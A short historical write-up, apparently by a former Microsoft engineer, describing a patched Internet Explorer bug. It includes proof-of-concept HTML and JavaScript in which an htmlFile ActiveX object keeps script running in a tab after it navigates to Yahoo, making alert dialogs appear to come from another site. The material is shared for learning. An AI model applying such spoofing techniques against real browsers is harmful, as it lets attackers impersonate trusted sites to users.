This variant used an htmlFile ActiveX object to keep script alive across navigations in a new tab. A helper page in the new tab created the htmlFile and saved a reference back to the opener, then navigated itself away; the opener could later use that reference to run intervals showing dialogs that appeared to originate from whatever site the tab had landed on.
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>ResidentActiveXObjectNewTab</title>
</head>
<body>
<script language="JavaScript">
function main()
{
window.open("resident.html");
}
function startScript()
{
ax.parentWindow.setInterval('alert("Hi! I am still here!")', 5000);
}
</script>
</body>
</html>The resident.html page ran:
opener.ax = new ActiveXObject("htmlFile");
location = "http://www.yahoo.com";Once resident.html navigated to Yahoo, the htmlFile object it had created remained alive in memory because the opener held a reference to it via ax. Calling ax.parentWindow.setInterval(...) from the main page then executed JavaScript inside the htmlFile’s context every five seconds — with the dialogs appearing over Yahoo (or any other URL the tab later visited).
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.